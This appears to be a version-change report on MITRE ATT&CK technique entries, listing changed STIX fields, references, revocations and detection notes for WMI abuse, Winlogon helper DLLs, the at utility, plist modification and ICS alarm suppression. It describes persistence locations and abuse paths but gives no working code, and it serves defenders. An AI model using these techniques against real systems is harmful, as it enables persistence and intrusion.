| description | Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) (WinRM). (Citation: MSDN WMI) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS. (Citation: MSDN WMI) (Citation: FireEye WMI 2015)
An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015) | Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) (WinRM).(Citation: MSDN WMI) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: MSDN WMI)(Citation: FireEye WMI 2015)
An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015) |
| external_references[1]['source_name'] | MSDN WMI | FireEye WMI 2015 |
| external_references[1]['description'] | Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016. | Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016. |
| external_references[1]['url'] | https://msdn.microsoft.com/en-us/library/aa394582.aspx | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf |
| external_references[2]['source_name'] | FireEye WMI 2015 | FireEye WMI SANS 2015 |
| external_references[2]['description'] | Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016. | Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020. |
| external_references[2]['url'] | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf | https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf |
| external_references[3]['source_name'] | FireEye WMI SANS 2015 | MSDN WMI |
| external_references[3]['description'] | Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020. | Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016. |
| external_references[3]['url'] | https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf | https://msdn.microsoft.com/en-us/library/aa394582.aspx |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Network Traffic: Network Connection Creation |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Network Traffic: Network Connection Creation | |
[T1546.003] Event Triggered Execution: Windows Management Instrumentation Event Subscription
Current version: 1.2
|
|
|---|
| t | Adversaries may establish persistence and elevate privileges | t | Adversaries may establish persistence and elevate privileges |
| by executing malicious content triggered by a Windows Manag | | by executing malicious content triggered by a Windows Manag |
| ement Instrumentation (WMI) event subscription. WMI can be u | | ement Instrumentation (WMI) event subscription. WMI can be u |
| sed to install event filters, providers, consumers, and bind | | sed to install event filters, providers, consumers, and bind |
| ings that execute code when a defined event occurs. Examples | | ings that execute code when a defined event occurs. Examples |
| of events that may be subscribed to are the wall clock time | | of events that may be subscribed to are the wall clock time |
| , user loging, or the computer's uptime. (Citation: Mandiant | | , user loging, or the computer's uptime.(Citation: Mandiant |
| M-Trends 2015) Adversaries may use the capabilities of WMI | | M-Trends 2015) Adversaries may use the capabilities of WMI |
| to subscribe to an event and execute arbitrary code when th | | to subscribe to an event and execute arbitrary code when tha |
| at event occurs, providing persistence on a system. (Citatio | | t event occurs, providing persistence on a system.(Citation: |
| n: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015) Adver | | FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversar |
| saries may also compile WMI scripts into Windows Management | | ies may also compile WMI scripts into Windows Management Obj |
| Object (MOF) files (.mof extension) that can be used to crea | | ect (MOF) files (.mof extension) that can be used to create |
| te a malicious subscription. (Citation: Dell WMI Persistence | | a malicious subscription.(Citation: Dell WMI Persistence)(Ci |
| ) (Citation: Microsoft MOF May 2018) WMI subscription execu | | tation: Microsoft MOF May 2018) WMI subscription execution |
| tion is proxied by the WMI Provider Host process (WmiPrvSe.e | | is proxied by the WMI Provider Host process (WmiPrvSe.exe) a |
| xe) and thus may result in elevated SYSTEM privileges. | | nd thus may result in elevated SYSTEM privileges. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-16 20:11:13.719000+00:00 | 2022-04-20 17:01:37.760000+00:00 |
| description | Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime. (Citation: Mandiant M-Trends 2015)
Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription. (Citation: Dell WMI Persistence) (Citation: Microsoft MOF May 2018)
WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges. | Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime.(Citation: Mandiant M-Trends 2015)
Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)
WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges. |
| external_references[1]['source_name'] | Mandiant M-Trends 2015 | FireEye WMI 2015 |
| external_references[1]['description'] | Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016. | Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016. |
| external_references[1]['url'] | https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf |
| external_references[2]['source_name'] | FireEye WMI SANS 2015 | Dell WMI Persistence |
| external_references[2]['description'] | Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020. | Dell SecureWorks Counter Threat Unit™ (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016. |
| external_references[2]['url'] | https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf | https://www.secureworks.com/blog/wmi-persistence |
| external_references[3]['source_name'] | FireEye WMI 2015 | FireEye WMI SANS 2015 |
| external_references[3]['description'] | Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016. | Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020. |
| external_references[3]['url'] | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf | https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf |
| external_references[4]['source_name'] | Dell WMI Persistence | Medium Detecting WMI Persistence |
| external_references[4]['description'] | Dell SecureWorks Counter Threat Unit™ (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016. | French, D. (2018, October 9). Detecting & Removing an Attacker’s WMI Persistence. Retrieved October 11, 2019. |
| external_references[4]['url'] | https://www.secureworks.com/blog/wmi-persistence | https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96 |
| external_references[5]['source_name'] | Microsoft MOF May 2018 | Elastic - Hunting for Persistence Part 1 |
| external_references[5]['description'] | Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved January 24, 2020. | French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020. |
| external_references[5]['url'] | https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof- | https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1 |
| external_references[6]['source_name'] | TechNet Autoruns | Mandiant M-Trends 2015 |
| external_references[6]['description'] | Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. | Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016. |
| external_references[6]['url'] | https://technet.microsoft.com/en-us/sysinternals/bb963902 | https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf |
| external_references[7]['source_name'] | Medium Detecting WMI Persistence | Microsoft Register-WmiEvent |
| external_references[7]['description'] | French, D. (2018, October 9). Detecting & Removing an Attacker’s WMI Persistence. Retrieved October 11, 2019. | Microsoft. (n.d.). Retrieved January 24, 2020. |
| external_references[7]['url'] | https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96 | https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1 |
| external_references[8]['source_name'] | Elastic - Hunting for Persistence Part 1 | TechNet Autoruns |
| external_references[8]['description'] | French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020. | Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. |
| external_references[8]['url'] | https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1 | https://technet.microsoft.com/en-us/sysinternals/bb963902 |
| external_references[9]['source_name'] | Microsoft Register-WmiEvent | Microsoft MOF May 2018 |
| external_references[9]['description'] | Microsoft. (n.d.). Retrieved January 24, 2020. | Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved January 24, 2020. |
| external_references[9]['url'] | https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1 | https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof- |
| x_mitre_data_sources[1] | Process: Process Creation | WMI: WMI Creation |
| x_mitre_data_sources[2] | WMI: WMI Creation | Process: Process Creation |
| x_mitre_detection | Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI EventFilter, EventConsumer, and FilterToConsumerBinding events. Event ID 5861 is logged on Windows 10 systems when new EventFilterToConsumerBinding events are created.(Citation: Elastic - Hunting for Persistence Part 1)
Monitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet (Citation: Microsoft Register-WmiEvent), as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process). | Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.(Citation: TechNet Autoruns)(Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI EventFilter, EventConsumer, and FilterToConsumerBinding events. Event ID 5861 is logged on Windows 10 systems when new EventFilterToConsumerBinding events are created.(Citation: Elastic - Hunting for Persistence Part 1)
Monitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).(Citation: Microsoft Register-WmiEvent) |
[T1547.004] Boot or Logon Autostart Execution: Winlogon Helper DLL
Current version: 1.0
|
|
|---|
| t | Adversaries may abuse features of Winlogon to execute DLLs a | t | Adversaries may abuse features of Winlogon to execute DLLs a |
| nd/or executables when a user logs in. Winlogon.exe is a Win | | nd/or executables when a user logs in. Winlogon.exe is a Win |
| dows component responsible for actions at logon/logoff as we | | dows component responsible for actions at logon/logoff as we |
| ll as the secure attention sequence (SAS) triggered by Ctrl- | | ll as the secure attention sequence (SAS) triggered by Ctrl- |
| Alt-Delete. Registry entries in <code>HKLM\Software[\\Wow643 | | Alt-Delete. Registry entries in <code>HKLM\Software[\\Wow643 |
| 2Node\\]\Microsoft\Windows NT\CurrentVersion\Winlogon\</code | | 2Node\\]\Microsoft\Windows NT\CurrentVersion\Winlogon\</code |
| > and <code>HKCU\Software\Microsoft\Windows NT\CurrentVersio | | > and <code>HKCU\Software\Microsoft\Windows NT\CurrentVersio |
| n\Winlogon\</code> are used to manage additional helper prog | | n\Winlogon\</code> are used to manage additional helper prog |
| rams and functionalities that support Winlogon. (Citation: C | | rams and functionalities that support Winlogon.(Citation: Cy |
| ylance Reg Persistence Sept 2013) Malicious modifications | | lance Reg Persistence Sept 2013) Malicious modifications t |
| to these Registry keys may cause Winlogon to load and execut | | o these Registry keys may cause Winlogon to load and execute |
| e malicious DLLs and/or executables. Specifically, the follo | | malicious DLLs and/or executables. Specifically, the follow |
| wing subkeys have been known to be possibly vulnerable to ab | | ing subkeys have been known to be possibly vulnerable to abu |
| use: (Citation: Cylance Reg Persistence Sept 2013) * Winlog | | se: (Citation: Cylance Reg Persistence Sept 2013) * Winlogo |
| on\Notify - points to notification package DLLs that handle | | n\Notify - points to notification package DLLs that handle W |
| Winlogon events * Winlogon\Userinit - points to userinit.exe | | inlogon events * Winlogon\Userinit - points to userinit.exe, |
| , the user initialization program executed when a user logs | | the user initialization program executed when a user logs o |
| on * Winlogon\Shell - points to explorer.exe, the system she | | n * Winlogon\Shell - points to explorer.exe, the system shel |
| ll executed when a user logs on Adversaries may take advant | | l executed when a user logs on Adversaries may take advanta |
| age of these features to repeatedly execute malicious code a | | ge of these features to repeatedly execute malicious code an |
| nd establish persistence. | | d establish persistence. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018. |
| external_references | | CAPEC-579 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | CAPEC-579 | |
| external_references | Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-04-21 16:00:41.277000+00:00 | 2022-04-20 16:32:14.691000+00:00 |
| description | Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\Software[\\Wow6432Node\\]\Microsoft\Windows NT\CurrentVersion\Winlogon\ and HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013)
Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)
* Winlogon\Notify - points to notification package DLLs that handle Winlogon events
* Winlogon\Userinit - points to userinit.exe, the user initialization program executed when a user logs on
* Winlogon\Shell - points to explorer.exe, the system shell executed when a user logs on
Adversaries may take advantage of these features to repeatedly execute malicious code and establish persistence. | Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\Software[\\Wow6432Node\\]\Microsoft\Windows NT\CurrentVersion\Winlogon\ and HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013)
Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)
* Winlogon\Notify - points to notification package DLLs that handle Winlogon events
* Winlogon\Userinit - points to userinit.exe, the user initialization program executed when a user logs on
* Winlogon\Shell - points to explorer.exe, the system shell executed when a user logs on
Adversaries may take advantage of these features to repeatedly execute malicious code and establish persistence. |
| external_references[1]['source_name'] | capec | Cylance Reg Persistence Sept 2013 |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/579.html | https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order |
| external_references[2]['source_name'] | Cylance Reg Persistence Sept 2013 | TechNet Autoruns |
| external_references[2]['description'] | Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018. | Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. |
| external_references[2]['url'] | https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order | https://technet.microsoft.com/en-us/sysinternals/bb963902 |
| external_references[3]['source_name'] | TechNet Autoruns | capec |
| external_references[3]['url'] | https://technet.microsoft.com/en-us/sysinternals/bb963902 | https://capec.mitre.org/data/definitions/579.html |
| x_mitre_data_sources[0] | Windows Registry: Windows Registry Key Modification | Command: Command Execution |
| x_mitre_data_sources[2] | Command: Command Execution | Windows Registry: Windows Registry Key Modification |
Revocations
[T1053.001] At (Linux) (No parent object identified. It is likely revoked or deprecated)
Current version: 1.1
Description: Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)
An adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.
Adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)
This object has been revoked by [T1053.002] At
Description for [T1053.002] At: Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.
On Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)
Adversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).
In Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 14:36:26.063000+00:00 | 2022-04-16 20:45:01.814000+00:00 |
| revoked | False | True |
| external_references[1]['source_name'] | Kifarunix - Task Scheduling in Linux | rowland linux at 2019 |
| external_references[1]['description'] | Koromicha. (2019, September 7). Scheduling tasks using at command in Linux. Retrieved December 3, 2019. | Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021. |
| external_references[1]['url'] | https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/ | https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/ |
| external_references[3]['source_name'] | rowland linux at 2019 | Kifarunix - Task Scheduling in Linux |
| external_references[3]['description'] | Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021. | Koromicha. (2019, September 7). Scheduling tasks using at command in Linux. Retrieved December 3, 2019. |
| external_references[3]['url'] | https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/ | https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/ |
| x_mitre_data_sources[0] | Scheduled Job: Scheduled Job Creation | Process: Process Creation |
| x_mitre_data_sources[2] | Process: Process Creation | Scheduled Job: Scheduled Job Creation |
[T1547.011] Plist Modification (No parent object identified. It is likely revoked or deprecated)
Current version: 1.1
Description: Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, Info.plist, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description)
Adversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the DYLD_INSERT_LIBRARIES key combined with a path to a malicious dylib under the EnvironmentVariables key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the LSEnvironment key in the application's Info.plist file.(Citation: wardle artofmalware volume1)
This object has been revoked by [T1647] Plist File Modification
Description for [T1647] Plist File Modification: Adversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. macOS applications use plist files, such as the info.plist file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format.(Citation: fileinfo plist file description)
Adversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. [Hidden Window](https://attack.mitre.org/techniques/T1564/003)) or running additional commands for persistence (ex: [Launch Agent](https://attack.mitre.org/techniques/T1543/001)/[Launch Daemon](https://attack.mitre.org/techniques/T1543/004) or [Re-opened Applications](https://attack.mitre.org/techniques/T1547/007)).
For example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist` file, which controls apps that appear in the Dock. Adversaries can also modify the LSUIElement key in an application’s info.plist file to run the app in the background. Adversaries can also insert key-value pairs to insert environment variables, such as LSEnvironment, to enable persistence via [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006).(Citation: wardle chp2 persistence)(Citation: eset_osx_flashback)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 14:46:47.383000+00:00 | 2022-04-20 21:06:07.560000+00:00 |
| revoked | False | True |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | File: File Modification |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | File: File Modification | |
ics-attack
Major Version Changes
[T0800] Activate Firmware Update Mode
Current version: 1.0
Version changed from: 0.0 → 1.0
New Detections:
- DS0015: Application Log (Application Log Content)
- DS0029: Network Traffic (Network Traffic Content)
- DS0040: Operational Databases (Device Alarm)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:14:01.612000+00:00 | 2022-04-21 22:02:03.828000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0800 | https://attack.mitre.org/Technique/T0800 |
[T0878] Alarm Suppression
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may target protection function alarms to prevent | t | Adversaries may target protection function alarms to prevent |
| them from notifying operators of critical conditions. Alarm | | them from notifying operators of critical conditions. Alarm |
| messages may be a part of an overall reporting system and o | | messages may be a part of an overall reporting system and o |
| f particular interest for adversaries. Disruption of the ala | | f particular interest for adversaries. Disruption of the ala |
| rm system does not imply the disruption of the reporting sys | | rm system does not imply the disruption of the reporting sys |
| tem as a whole. In the Maroochy Attack, the adversary supp | | tem as a whole. In the Maroochy Attack, the adversary supp |
| ressed alarm reporting to the central computer. (Citation: M | | ressed alarm reporting to the central computer. (Citation: M |
| aroochy - MITRE - 200808) A Secura presentation on targetin | | arshall Abrams July 2008) A Secura presentation on targetin |
| g OT notes a dual fold goal for adversaries attempting alarm | | g OT notes a dual fold goal for adversaries attempting alarm |
| suppression: prevent outgoing alarms from being raised and | | suppression: prevent outgoing alarms from being raised and |
| prevent incoming alarms from being responded to. (Citation: | | prevent incoming alarms from being responded to. (Citation: |
| References - Secura - 2019) The method of suppression may gr | | Jos Wetzels, Marina Krotofil 2019) The method of suppressio |
| eatly depend on the type of alarm in question: * An alarm r | | n may greatly depend on the type of alarm in question: * An |
| aised by a protocol message * An alarm signaled with I/O * A | | alarm raised by a protocol message * An alarm signaled with |
| n alarm bit set in a flag (and read) In ICS environments, t | | I/O * An alarm bit set in a flag (and read) In ICS environ |
| he adversary may have to suppress or contend with multiple a | | ments, the adversary may have to suppress or contend with mu |
| larms and/or alarm propagation to achieve a specific goal to | | ltiple alarms and/or alarm propagation to achieve a specific |
| evade detection or prevent intended responses from occurrin | | goal to evade detection or prevent intended responses from |
| g. (Citation: References - Secura - 2019) Methods of suppres | | occurring. (Citation: Jos Wetzels, Marina Krotofil 2019) Me |
| sion may involve tampering or altering device displays and l | | thods of suppression may involve tampering or altering devic |
| ogs, modifying in memory code to fixed values, or even tampe | | e displays and logs, modifying in memory code to fixed value |
| ring with assembly level instruction code. | | s, or even tampering with assembly level instruction code. |
New Detections:
- DS0015: Application Log (Application Log Content)
- DS0029: Network Traffic (Network Traffic Content)
- DS0040: Operational Databases (Process History/Live Data)
- DS0040: Operational Databases (Process/Event Alarm)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 13:04:01.612000+00:00 | 2022-04-21 22:02:03.830000+00:00 |
| description | Adversaries may target protection function alarms to prevent them from notifying operators of critical conditions. Alarm messages may be a part of an overall reporting system and of particular interest for adversaries. Disruption of the alarm system does not imply the disruption of the reporting system as a whole.
In the Maroochy Attack, the adversary suppressed alarm reporting to the central computer. (Citation: Maroochy - MITRE - 200808)
A Secura presentation on targeting OT notes a dual fold goal for adversaries attempting alarm suppression: prevent outgoing alarms from being raised and prevent incoming alarms from being responded to. (Citation: References - Secura - 2019) The method of suppression may greatly depend on the type of alarm in question:
* An alarm raised by a protocol message
* An alarm signaled with I/O
* An alarm bit set in a flag (and read)
